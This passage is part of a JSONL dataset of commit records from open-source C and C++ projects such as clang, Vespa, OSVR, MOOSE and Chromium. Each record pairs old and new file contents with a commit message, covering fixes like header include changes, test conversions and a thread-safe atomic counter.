SHA-1 implementation.\n","lang":"C","license":"bsd-3-clause","repos":"wilx\/apg,wilx\/apg,rogerapras\/apg,rogerapras\/apg,wilx\/apg,rogerapras\/apg,rogerapras\/apg,wilx\/apg"}
{"commit":"8b00f90e146db2f555897d7aa66bc7a403883f74","old_file":"src\/diskusage.h","new_file":"src\/diskusage.h","old_contents":"#pragma once\n\n#include <cstdint>\n#include <string>\n\nclass SystemError\n{\npublic:\n    SystemError(int errorno, const std::string& syscall, const std::string& message, const std::string& path)\n        : m_errorno(errorno), m_syscall(syscall), m_message(message), m_path(path)\n    {}\n\n    int errorno() const { return m_errorno; }\n    const char* syscall() const { return m_syscall.c_str(); }\n    const char* message() const { return m_message.c_str(); }\n    const char* path() const { return m_path.c_str(); }\n\nprivate:\n    int m_errorno;\n    std::string m_syscall;\n    std::string m_message;\n    std::string m_path;\n};\n\nstruct DiskUsage {\n    uint64_t available;\n    uint64_t free;\n    uint64_t total;\n};\n\nDiskUsage GetDiskUsage(const char* path);\n","new_contents":"#pragma once\n\n#include <stdint.h>\n#include <string>\n\nclass SystemError\n{\npublic:\n    SystemError(int errorno, const std::string& syscall, const std::string& message, const std::string& path)\n        : m_errorno(errorno), m_syscall(syscall), m_message(message), m_path(path)\n    {}\n\n    int errorno() const { return m_errorno; }\n    const char* syscall() const { return m_syscall.c_str(); }\n    const char* message() const { return m_message.c_str(); }\n    const char* path() const { return m_path.c_str(); }\n\nprivate:\n    int m_errorno;\n    std::string m_syscall;\n    std::string m_message;\n    std::string m_path;\n};\n\nstruct DiskUsage {\n    uint64_t available;\n    uint64_t free;\n    uint64_t total;\n};\n\nDiskUsage GetDiskUsage(const char* path);\n","subject":"Use stdint.h instead of cstdint","message":"Use stdint.h instead of cstdint\n\nFixes #16.\n","lang":"C","license":"mit","repos":"jduncanator\/node-diskusage,jduncanator\/node-diskusage,jduncanator\/node-diskusage"}
{"commit":"b5ae6109ae7151d1fb91009a205bd3d470323f24","old_file":"src\/hpctoolkit\/csprof\/unwind\/x86-family\/x86-unwind-support.c","new_file":"src\/hpctoolkit\/csprof\/unwind\/x86-family\/x86-unwind-support.c","old_contents":"#include <ucontext.h>\n\n#include \"x86-decoder.h\"\n#include \"unwind.h\"\n\nvoid\nunw_init_arch(void)\n{\n  x86_family_decoder_init();\n}\n\n\nvoid \nunw_init_cursor_arch(ucontext_t* context, unw_cursor_t *cursor)\n{\n  mcontext_t * mctxt = &(context->uc_mcontext);\n\n#ifdef __CRAYXT_CATAMOUNT_TARGET\n  cursor->pc = (void *)  mctxt->sc_rip;\n  cursor->bp = (void **) mctxt->sc_rbp;\n  cursor->sp = (void **) mctxt->sc_rsp;\n#else\n  cursor->pc = (void *)  mctxt->gregs[REG_RIP];\n  cursor->bp = (void **) mctxt->gregs[REG_RBP];\n  cursor->sp = (void **) mctxt->gregs[REG_RSP];\n#endif\n}\n\n\nint \nunw_get_reg_arch(unw_cursor_t *cursor, int reg_id, void **reg_value)\n{\n  assert(reg_id == UNW_REG_IP);\n  *reg_value = cursor->pc;\n\n  return 0;\n}\n","new_contents":"#include <ucontext.h>\n#include <assert.h>\n\n#include \"x86-decoder.h\"\n#include \"unwind.h\"\n\nvoid\nunw_init_arch(void)\n{\n  x86_family_decoder_init();\n}\n\n\nvoid \nunw_init_cursor_arch(ucontext_t* context, unw_cursor_t *cursor)\n{\n  mcontext_t * mctxt = &(context->uc_mcontext);\n\n#ifdef __CRAYXT_CATAMOUNT_TARGET\n  cursor->pc = (void *)  mctxt->sc_rip;\n  cursor->bp = (void **) mctxt->sc_rbp;\n  cursor->sp = (void **) mctxt->sc_rsp;\n#else\n  cursor->pc = (void *)  mctxt->gregs[REG_RIP];\n  cursor->bp = (void **) mctxt->gregs[REG_RBP];\n  cursor->sp = (void **) mctxt->gregs[REG_RSP];\n#endif\n}\n\n\nint \nunw_get_reg_arch(unw_cursor_t *cursor, int reg_id, void **reg_value)\n{\n  assert(reg_id == UNW_REG_IP);\n  *reg_value = cursor->pc;\n\n  return 0;\n}\n","subject":"Include <assert.h> to prevent linking error (unknown symbol 'assert').","message":"Include <assert.h> to prevent linking error (unknown symbol 'assert').\n","lang":"C","license":"bsd-3-clause","repos":"zcth428\/hpctoolkit111,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit111,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit111,HPCToolkit\/hpctoolkit,HPCToolkit\/hpctoolkit,zcth428\/hpctoolkit,zcth428\/hpctoolkit,zcth428\/hpctoolkit111,zcth428\/hpctoolkit111,zcth428\/hpctoolkit"}
{"commit":"c12e2945e24c544883ce43c49803e5f16b66a96b","old_file":"Sample\/SampleApp\/ViewController.h","new_file":"Sample\/SampleApp\/ViewController.h","old_contents":"#import <UIKit\/UIKit.h>\n\n@interface ViewController : UIViewController <UIAlertViewDelegate, UIActionSheetDelegate>\n\n@property (nonatomic, strong) Class alertControllerClass;\n@property (nonatomic, strong) IBOutlet UIButton *showAlertButton;\n@property (nonatomic, strong) IBOutlet UIButton *showActionSheetButton;\n@property (nonatomic, assign) BOOL alertDefaultActionExecuted;\n@property (nonatomic, assign) BOOL alertCancelActionExecuted;\n@property (nonatomic, assign) BOOL alertDestroyActionExecuted;\n\n- (IBAction)showAlert:(id)sender;\n- (IBAction)showActionSheet:(id)sender;\n\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n\n@interface ViewController : UIViewController\n\n@property (nonatomic, strong) Class alertControllerClass;\n@property (nonatomic, strong) IBOutlet UIButton *showAlertButton;\n@property (nonatomic, strong) IBOutlet UIButton *showActionSheetButton;\n@property (nonatomic, assign) BOOL alertDefaultActionExecuted;\n@property (nonatomic, assign) BOOL alertCancelActionExecuted;\n@property (nonatomic, assign) BOOL alertDestroyActionExecuted;\n\n- (IBAction)showAlert:(id)sender;\n- (IBAction)showActionSheet:(id)sender;\n\n@end\n","subject":"Remove unused protocol conformance from sample","message":"Remove unused protocol conformance from sample\n","lang":"C","license":"mit","repos":"foulkesjohn\/MockUIAlertController,yas375\/MockUIAlertController,carabina\/MockUIAlertController"}
{"commit":"9d4a59f2cab4179f3ff5b73477044f2f9289d5b8","old_file":"thread\/future.h","new_file":"thread\/future.h","old_contents":"#ifndef FUTURE_H_INCLUDED\r\n#define FUTURE_H_INCLUDED\r\n\n#include <boost\/thread\/thread.hpp>\n#include <boost\/thread\/future.hpp>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/utility\/result_of.hpp>\n\nnamespace thread {\n\ntemplate<typename Func>\nboost::shared_future<typename boost::result_of<Func()>::type> submit_task(Func f) {\n    typedef typename boost::result_of<Func()>::type ResultType;\n    typedef boost::packaged_task<ResultType> PackagedTaskType;\n\n    PackagedTaskType task(f);\n    boost::shared_future<ResultType> res(task.get_future());\n    boost::thread task_thread(std::move(task));\n    return res;\n}\n\n}\r\n\r\n#endif \/\/ FUTURE_H_INCLUDED\r\n","new_contents":"#ifndef FUTURE_H_INCLUDED\r\n#define FUTURE_H_INCLUDED\r\n\r\n#include <boost\/thread\/thread.hpp>\r\n#include <boost\/thread\/future.hpp>\r\n#include <boost\/shared_ptr.hpp>\r\n#include <boost\/utility\/result_of.hpp>\r\n\r\nnamespace thread {\r\n\r\ntemplate<typename Func>\r\nboost::shared_future<typename boost::result_of<Func()>::type> submit_task(Func f) {\r\n    typedef typename boost::result_of<Func()>::type ResultType;\r\n    typedef boost::packaged_task<ResultType> PackagedTaskType;\r\n\r\n    PackagedTaskType task(f);\r\n    boost::shared_future<ResultType> res(task.get_future());\r\n    boost::thread task_thread(boost::move(task));\r\n    return res;\r\n}\r\n\r\n}\r\n\r\n#endif \/\/ FUTURE_H_INCLUDED\r\n","subject":"Use boost::move rather than std::move which seems to hate some versions ofr G++","message":"Use boost::move rather than std::move which seems to hate some versions ofr G++\n","lang":"C","license":"bsd-2-clause","repos":"Kazade\/kazbase,Kazade\/kazbase"}
{"commit":"b7d35893186564bf8c4e706e5d05df06b23d2dc7","old_file":"test\/CodeGen\/functions.c","new_file":"test\/CodeGen\/functions.c","old_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s\n\nint g();\n\nint foo(int i) {\n  return g(i);\n}\n\nint g(int i) {\n  return g(i);\n}\n\n\/\/ rdar:\/\/6110827\ntypedef void T(void);\nvoid test3(T f) {\n  f();\n}\n\nint a(int);\nint a() {return 1;}\n\n\/\/ RUN: grep 'define void @f0()' %t\nvoid f0() {}\n\nvoid f1();\n\/\/ RUN: grep 'call void @f1()' %t\nvoid f2(void) {\n  f1(1, 2, 3);\n}\n\/\/ RUN: grep 'define void @f1()' %t\nvoid f1() {}\n\n\/\/ RUN: grep 'define .* @f3' %t | not grep -F '...'\nstruct foo { int X, Y, Z; } f3() {\n  while (1) {}\n}\n\n\/\/ PR4423 - This shouldn't crash in codegen\nvoid f4() {}\nvoid f5() { f4(42); }\n\n\/\/ Qualifiers on parameter types shouldn't make a difference.\nstatic void f6(const float f, const float g) {\n}\nvoid f7(float f, float g) {\n  f6(f, g);\n\/\/ CHECK: define void @f7(float{{.*}}, float{{.*}})\n\/\/ CHECK: call void @f6(float{{.*}}, float{{.*}})\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - -verify | FileCheck %s\n\nint g();\n\nint foo(int i) {\n  return g(i);\n}\n\nint g(int i) {\n  return g(i);\n}\n\n\/\/ rdar:\/\/6110827\ntypedef void T(void);\nvoid test3(T f) {\n  f();\n}\n\nint a(int);\nint a() {return 1;}\n\nvoid f0() {}\n\/\/ CHECK: define void @f0()\n\nvoid f1();\nvoid f2(void) {\n\/\/ CHECK: call void @f1()\n  f1(1, 2, 3);\n}\n\/\/ CHECK: define void @f1()\nvoid f1() {}\n\n\/\/ CHECK: define {{.*}} @f3()\nstruct foo { int X, Y, Z; } f3() {\n  while (1) {}\n}\n\n\/\/ PR4423 - This shouldn't crash in codegen\nvoid f4() {}\nvoid f5() { f4(42); } \/\/expected-warning {{too many arguments}}\n\n\/\/ Qualifiers on parameter types shouldn't make a difference.\nstatic void f6(const float f, const float g) {\n}\nvoid f7(float f, float g) {\n  f6(f, g);\n\/\/ CHECK: define void @f7(float{{.*}}, float{{.*}})\n\/\/ CHECK: call void @f6(float{{.*}}, float{{.*}})\n}\n","subject":"Fix test case and convert fully to FileCheck.","message":"Fix test case and convert fully to FileCheck.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@97032 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"fcc92cf5633589068313897d39036686ec32e875","old_file":"src\/driver\/utility.h","new_file":"src\/driver\/utility.h","old_contents":"#pragma once\n\n#include <fstream>\n#include <llvm\/ADT\/StringRef.h>\n\ninline std::ostream& operator<<(std::ostream& stream, llvm::StringRef string) {\n    return stream.write(string.data(), string.size());\n}\n\ntemplate<typename... Args>\n[[noreturn]] inline void error(SrcLoc srcLoc, Args&&... args) {\n    std::cout << srcLoc.file << ':';\n    if (srcLoc.isValid()) std::cout << srcLoc.line << ':' << srcLoc.column << ':';\n    std::cout << \" error: \";\n    using expander = int[];\n    (void)expander{0, (void(std::cout << std::forward<Args>(args)), 0)...};\n\n    \/\/ Output caret.\n    std::ifstream file(srcLoc.file);\n    while (--srcLoc.line) file.ignore(std::numeric_limits<std::streamsize>::max(), '\\n');\n    std::string line;\n    std::getline(file, line);\n    std::cout << '\\n' << line << '\\n';\n    while (--srcLoc.column) std::cout << ' ';\n    std::cout << \"^\\n\";\n\n    exit(1);\n}\n","new_contents":"#pragma once\n\n#include <fstream>\n#include <llvm\/ADT\/StringRef.h>\n\ninline std::ostream& operator<<(std::ostream& stream, llvm::StringRef string) {\n    return stream.write(string.data(), string.size());\n}\n\ntemplate<typename... Args>\n[[noreturn]] inline void error(SrcLoc srcLoc, Args&&... args) {\n    if (srcLoc.file) {\n        std::cout << srcLoc.file << ':';\n        if (srcLoc.isValid()) std::cout << srcLoc.line << ':' << srcLoc.column << ':';\n    } else {\n        std::cout << \"<unknown file>:\";\n    }\n    \n    std::cout << \" error: \";\n    using expander = int[];\n    (void)expander{0, (void(std::cout << std::forward<Args>(args)), 0)...};\n\n    if (srcLoc.file && srcLoc.isValid()) {\n        \/\/ Output caret.\n        std::ifstream file(srcLoc.file);\n        while (--srcLoc.line) file.ignore(std::numeric_limits<std::streamsize>::max(), '\\n');\n        std::string line;\n        std::getline(file, line);\n        std::cout << '\\n' << line << '\\n';\n        while (--srcLoc.column) std::cout << ' ';\n        std::cout << \"^\\n\";\n    }\n\n    exit(1);\n}\n","subject":"Fix error() if srcLoc.file is null or !srcLoc.isValid()","message":"Fix error() if srcLoc.file is null or !srcLoc.isValid()\n","lang":"C","license":"mit","repos":"emlai\/delta,emlai\/delta,emlai\/delta,emlai\/delta,delta-lang\/delta,delta-lang\/delta,delta-lang\/delta,delta-lang\/delta"}
{"commit":"0e8f41582505e156243a37100568f94f158ec978","old_file":"modules\/electromagnetics\/test\/include\/functions\/MMSTestFunc.h","new_file":"modules\/electromagnetics\/test\/include\/functions\/MMSTestFunc.h","old_contents":"#ifndef MMSTESTFUNC_H\n#define MMSTESTFUNC_H\n\n#include \"Function.h\"\n#include \"FunctionInterface.h\"\n\nclass MMSTestFunc;\n\ntemplate <>\nInputParameters validParams<MMSTestFunc>();\n\n\/**\n *  Function of RHS for manufactured solution in spatial_constant_helmholtz test\n *\/\nclass MMSTestFunc : public Function, public FunctionInterface\n{\npublic:\n  MMSTestFunc(const InputParameters & parameters);\n\n  virtual Real value(Real t, const Point & p) const override;\n\nprotected:\n  Real _length;\n\n  const Function & _a;\n  const Function & _b;\n\n  Real _d;\n  Real _h;\n\n  Real _g_0_real;\n  Real _g_0_imag;\n\n  Real _g_l_real;\n  Real _g_l_imag;\n\n  MooseEnum _component;\n\n};\n\n#endif \/\/ MMSTESTFUNC_H\n","new_contents":"#pragma once\n\n#include \"Function.h\"\n#include \"FunctionInterface.h\"\n\nclass MMSTestFunc;\n\ntemplate <>\nInputParameters validParams<MMSTestFunc>();\n\n\/**\n *  Function of RHS for manufactured solution in spatial_constant_helmholtz test\n *\/\nclass MMSTestFunc : public Function, public FunctionInterface\n{\npublic:\n  MMSTestFunc(const InputParameters & parameters);\n\n  virtual Real value(Real t, const Point & p) const override;\n\nprotected:\n  Real _length;\n\n  const Function & _a;\n  const Function & _b;\n\n  Real _d;\n  Real _h;\n\n  Real _g_0_real;\n  Real _g_0_imag;\n\n  Real _g_l_real;\n  Real _g_l_imag;\n\n  MooseEnum _component;\n\n};\n","subject":"Convert to pragma once in test functions","message":"Convert to pragma once in test functions\n\nrefs #21085\n","lang":"C","license":"lgpl-2.1","repos":"laagesen\/moose,harterj\/moose,andrsd\/moose,sapitts\/moose,milljm\/moose,milljm\/moose,idaholab\/moose,lindsayad\/moose,harterj\/moose,idaholab\/moose,andrsd\/moose,sapitts\/moose,harterj\/moose,sapitts\/moose,dschwen\/moose,andrsd\/moose,dschwen\/moose,milljm\/moose,sapitts\/moose,dschwen\/moose,laagesen\/moose,lindsayad\/moose,andrsd\/moose,idaholab\/moose,idaholab\/moose,milljm\/moose,harterj\/moose,sapitts\/moose,laagesen\/moose,lindsayad\/moose,milljm\/moose,laagesen\/moose,lindsayad\/moose,lindsayad\/moose,dschwen\/moose,idaholab\/moose,andrsd\/moose,dschwen\/moose,laagesen\/moose,harterj\/moose"}
{"commit":"2ec53d6f185a4a3e91ea6a2b879089eeac7896dd","old_file":"storage\/src\/vespa\/storage\/bucketdb\/minimumusedbitstracker.h","new_file":"storage\/src\/vespa\/storage\/bucketdb\/minimumusedbitstracker.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <algorithm>\n#include <vespa\/document\/bucket\/bucketid.h>\n\nnamespace storage {\n\n\/**\n * Utility class for keeping track of the lowest used bits count seen\n * across a set of buckets.\n *\n * Not threadsafe by itself.\n *\/\nclass MinimumUsedBitsTracker\n{\n    uint32_t _minUsedBits;\npublic:\n    MinimumUsedBitsTracker()\n        : _minUsedBits(58)\n    {}\n\n    \/**\n     * Returns true if new bucket led to a decrease in the used bits count.\n     *\/\n    bool update(const document::BucketId& bucket) {\n        if (bucket.getUsedBits() < _minUsedBits) {\n            _minUsedBits = bucket.getUsedBits();\n            return true;\n        }\n        return false;\n    }\n\n    uint32_t getMinUsedBits() const {\n        return _minUsedBits;\n    }\n\n    void setMinUsedBits(uint32_t minUsedBits) {\n        _minUsedBits = minUsedBits;\n    }\n};\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/document\/bucket\/bucketid.h>\n#include <atomic>\n\nnamespace storage {\n\n\/**\n * Utility class for keeping track of the lowest used bits count seen\n * across a set of buckets.\n *\n * Thread safe for reads and writes.\n *\/\nclass MinimumUsedBitsTracker\n{\n    std::atomic<uint32_t> _min_used_bits;\npublic:\n    constexpr MinimumUsedBitsTracker() noexcept\n        : _min_used_bits(58)\n    {}\n\n    \/**\n     * Returns true iff new bucket led to a decrease in the used bits count.\n     *\/\n    bool update(const document::BucketId& bucket) noexcept {\n        const uint32_t bucket_bits = bucket.getUsedBits();\n        uint32_t current_bits = _min_used_bits.load(std::memory_order_relaxed);\n        if (bucket_bits < current_bits) {\n            while (!_min_used_bits.compare_exchange_strong(current_bits, bucket_bits,\n                                                           std::memory_order_relaxed,\n                                                           std::memory_order_relaxed))\n            {\n                if (bucket_bits >= current_bits) {\n                    return false; \/\/ We've raced with another writer that had lower or equal bits to our own bucket.\n                }\n            }\n            return true;\n        }\n        return false;\n    }\n\n    [[nodiscard]] uint32_t getMinUsedBits() const noexcept {\n        return _min_used_bits.load(std::memory_order_relaxed);\n    }\n\n    void setMinUsedBits(uint32_t minUsedBits) noexcept {\n        _min_used_bits.store(minUsedBits, std::memory_order_relaxed);\n    }\n};\n\n}\n","subject":"Make MinimumUsedBitsTracker thread safe for both reads and writes","message":"Make MinimumUsedBitsTracker thread safe for both reads and writes\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"03cb0d30b60c3702edc0752fe535abb1ae41a32d","old_file":"src\/controllers\/chooseyourcat.c","new_file":"src\/controllers\/chooseyourcat.c","old_contents":"\n#include \"debug.h\"\n#include \"input.h\"\n#include \"scene.h\"\n#include \"sound.h\"\n#include \"controller.h\"\n#include \"controllers\/chooseyourcat.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n\nNEW_CONTROLLER(ChooseYourCat);\n\nstatic void p1_confirm() {\n    Sound_playSE(FX_SELECT);\n    Scene_close();\n    Scene_load(SCENE_PRESSSTART);\n}\n\nstatic void p2_confirm() {\n    Sound_playSE(FX_SELECT);\n    Scene_close();\n    Scene_load(SCENE_PRESSSTART);\n}\n\nstatic void ChooseYourCatController_init() {\n    EVENT_ASSOCIATE(press, P1_MARU, p1_confirm);\n    EVENT_ASSOCIATE(press, P2_MARU, p2_confirm);\n    logprint(success_msg);\n}\n","new_contents":"\n#include \"debug.h\"\n#include \"input.h\"\n#include \"scene.h\"\n#include \"sound.h\"\n#include \"controller.h\"\n#include \"scenes\/chooseyourcat.h\"\n#include \"controllers\/chooseyourcat.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n\nstatic int P1_HAS_CHOSEN = false;\n\/*  false -> P1 escolhe o gato;\n    true -> P2 escolhe o gato. *\/\n\nNEW_CONTROLLER(ChooseYourCat);\n\nstatic void p1_confirm() {\n    if (!P1_HAS_CHOSEN) {\n        Sound_playSE(FX_SELECT);\n        P1_HAS_CHOSEN = true;\n    }\n}\n\nstatic void p2_confirm() {\n    if (P1_HAS_CHOSEN) {\n        \/* code *\/\n        Sound_playSE(FX_SELECT);\n        Scene_close();\n        Scene_load(SCENE_PRESSSTART);\n    }\n}\n\nstatic void ChooseYourCatController_init() {\n    EVENT_ASSOCIATE(press, P1_MARU, p1_confirm);\n    EVENT_ASSOCIATE(press, P2_MARU, p2_confirm);\n    logprint(success_msg);\n}\n","subject":"Add step for each player on choose your cat scene","message":"Add step for each player on choose your cat scene\n","lang":"C","license":"mit","repos":"OrenjiAkira\/spacegame,OrenjiAkira\/spacegame,OrenjiAkira\/spacegame"}
{"commit":"2240e7ad952671f460d73f1edcb3052d6cd84b5a","old_file":"chrome\/browser\/extensions\/convert_web_app.h","new_file":"chrome\/browser\/extensions\/convert_web_app.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#define CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#pragma once\n\n#include <string>\n\n#include \"base\/ref_counted.h\"\n\nclass Extension;\n\nnamespace base {\nclass Time;\n}\n\nnamespace webkit_glue {\nstruct WebApplicationInfo;\n}\n\n\/\/ Generates a version number for an extension from a time. The goal is to make\n\/\/ use of the version number to communicate some useful information. The\n\/\/ returned version has the format:\n\/\/ <year>.<month><day>.<upper 16 bits of unix timestamp>.<lower 16 bits>\nstd::string ConvertTimeToExtensionVersion(const base::Time& time);\n\n\/\/ Wraps the specified web app in an extension. The extension is created\n\/\/ unpacked in the system temp dir. Returns a valid extension that the caller\n\/\/ should take ownership on success, or NULL and |error| on failure.\n\/\/\n\/\/ NOTE: This function does file IO and should not be called on the UI thread.\n\/\/ NOTE: The caller takes ownership of the directory at extension->path() on the\n\/\/ returned object.\nscoped_refptr<Extension> ConvertWebAppToExtension(\n    const webkit_glue::WebApplicationInfo& web_app_info,\n    const base::Time& create_time);\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#define CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n#pragma once\n\n#include <string>\n\n#include \"base\/ref_counted.h\"\n\nclass Extension;\n\nnamespace base {\nclass Time;\n}\n\nnamespace webkit_glue {\nclass WebApplicationInfo;\n}\n\n\/\/ Generates a version number for an extension from a time. The goal is to make\n\/\/ use of the version number to communicate some useful information. The\n\/\/ returned version has the format:\n\/\/ <year>.<month><day>.<upper 16 bits of unix timestamp>.<lower 16 bits>\nstd::string ConvertTimeToExtensionVersion(const base::Time& time);\n\n\/\/ Wraps the specified web app in an extension. The extension is created\n\/\/ unpacked in the system temp dir. Returns a valid extension that the caller\n\/\/ should take ownership on success, or NULL and |error| on failure.\n\/\/\n\/\/ NOTE: This function does file IO and should not be called on the UI thread.\n\/\/ NOTE: The caller takes ownership of the directory at extension->path() on the\n\/\/ returned object.\nscoped_refptr<Extension> ConvertWebAppToExtension(\n    const webkit_glue::WebApplicationInfo& web_app_info,\n    const base::Time& create_time);\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_CONVERT_WEB_APP_H_\n","subject":"Revert 64847 - Clang fix.","message":"Revert 64847 - Clang fix.\n\nTBR=evan@chromium.org\nReview URL: http:\/\/codereview.chromium.org\/4300003\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@64850 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 61481afd2d1e81e91b533a55dc544a62738ba663","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"ba9708cea07eea6ea71d4ae97f417b2ad11a68f4","old_file":"examples\/clients\/TrackerState.c","new_file":"examples\/clients\/TrackerState.c","old_contents":"","new_contents":"\/** @file\n    @brief Implementation\n\n    @date 2014\n\n    @author\n    Ryan Pavlik\n    <ryan@sensics.com>\n    <http:\/\/sensics.com>\n*\/\n\n\/*\n\/\/ Copyright 2014 Sensics, Inc.\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ (Final version intended to be licensed under\n\/\/ the Apache License, Version 2.0)\n*\/\n\n\/* Internal Includes *\/\n#include <osvr\/ClientKit\/ContextC.h>\n#include <osvr\/ClientKit\/InterfaceC.h>\n#include <osvr\/ClientKit\/InterfaceStateC.h>\n\n\/* Library\/third-party includes *\/\n\/* - none *\/\n\n\/\/ Standard includes\n#include <stdio.h>\n\nint main() {\n    OSVR_ClientContext ctx =\n        osvrClientInit(\"org.opengoggles.exampleclients.TrackerState\");\n\n    OSVR_ClientInterface lefthand = NULL;\n    \/* This is just one of the paths. You can also use:\n     * \/me\/hands\/right\n     * \/me\/head\n     *\/\n    osvrClientGetInterface(ctx, \"\/me\/hands\/left\", &lefthand);\n\n    \/\/ Pretend that this is your application's mainloop.\n    int i;\n    for (i = 0; i < 1000000; ++i) {\n        osvrClientUpdate(ctx);\n        if (i % 100) {\n            \/\/ Every so often let's read the tracker state.\n            \/\/ Similar methods exist for all other stock report types.\n            OSVR_PoseState state;\n            OSVR_TimeValue timestamp;\n            OSVR_ReturnCode ret =\n                osvrGetPoseState(lefthand, &timestamp, &state);\n            if (ret != OSVR_RETURN_SUCCESS) {\n                printf(\"No pose state!\\n\");\n            } else {\n                printf(\"Got POSE state: Position = (%f, %f, %f), orientation = \"\n                       \"(%f, %f, \"\n                       \"%f, %f)\\n\",\n                       report->pose.translation.data[0],\n                       report->pose.translation.data[1],\n                       report->pose.translation.data[2],\n                       osvrQuatGetW(&(report->pose.rotation)),\n                       osvrQuatGetX(&(report->pose.rotation)),\n                       osvrQuatGetY(&(report->pose.rotation)),\n                       osvrQuatGetZ(&(report->pose.rotation)));\n            }\n        }\n    }\n\n    osvrClientShutdown(ctx);\n    printf(\"Library shut down, exiting.\\n\");\n    return 0;\n}\n","subject":"Add c version of trackerstate example","message":"Add c version of trackerstate example\n","lang":"C","license":"apache-2.0","repos":"feilen\/OSVR-Core,leemichaelRazer\/OSVR-Core,Armada651\/OSVR-Core,leemichaelRazer\/OSVR-Core,OSVR\/OSVR-Core,leemichaelRazer\/OSVR-Core,OSVR\/OSVR-Core,feilen\/OSVR-Core,d235j\/OSVR-Core,Armada651\/OSVR-Core,d235j\/OSVR-Core,leemichaelRazer\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core,OSVR\/OSVR-Core,Armada651\/OSVR-Core,Armada651\/OSVR-Core,OSVR\/OSVR-Core,d235j\/OSVR-Core,d235j\/OSVR-Core,d235j\/OSVR-Core,OSVR\/OSVR-Core,feilen\/OSVR-Core,feilen\/OSVR-Core,leemichaelRazer\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core,Armada651\/OSVR-Core,OSVR\/OSVR-Core,godbyk\/OSVR-Core,feilen\/OSVR-Core"}
{"commit":"c216edbcc760e7b2dc7cb652f179f96b0bcde17c","old_file":"test\/CodeGen\/parameter-passing.c","new_file":"test\/CodeGen\/parameter-passing.c","old_contents":"","new_contents":"\/\/ Check the various ways in which the three classes of values\n\/\/ (scalar, complex, aggregate) interact with parameter passing\n\/\/ (function entry, function return, call argument, call result).\n\n\/\/ RUN: clang %s -triple i386-unknown-unknown -O3 -emit-llvm -o %t &&\n\/\/ RUN: not grep '@g0' %t &&\n\n\/\/ FIXME: Enable once PR3489 is fixed.\n\/\/ RUNX: clang %s -triple x86_64-unknown-unknown -O3 -emit-llvm -o %t &&\n\/\/ RUNX: not grep '@g0' %t &&\n\n\/\/ RUN: clang %s -triple ppc-unknown-unknown -O3 -emit-llvm -o %t &&\n\/\/ RUN: not grep '@g0' %t &&\n\/\/ RUN: true\n\ntypedef int ScalarTy;\ntypedef _Complex int ComplexTy;\ntypedef struct { int a, b, c; } AggrTy;\n\nstatic int result;\n\nstatic AggrTy aggr_id(AggrTy a) { return a; }\nstatic ScalarTy scalar_id(ScalarTy a) { return a; }\nstatic ComplexTy complex_id(ComplexTy a) { return a; }\n\nstatic void aggr_mul(AggrTy a) { result *= a.a * a.b * a.c; }\n\nstatic void scalar_mul(ScalarTy a) { result *= a; }\n\nstatic void complex_mul(ComplexTy a) { result *= __real a * __imag a; }\n\nextern void g0(void);\n\nvoid f0(void) {\n  result = 1;\n  \n  aggr_mul(aggr_id((AggrTy) { 2, 3, 5}));\n  scalar_mul(scalar_id(7));\n  complex_mul(complex_id(11 + 13i));\n  \n  \/\/ This call should be eliminated.\n  if (result != 30030)\n    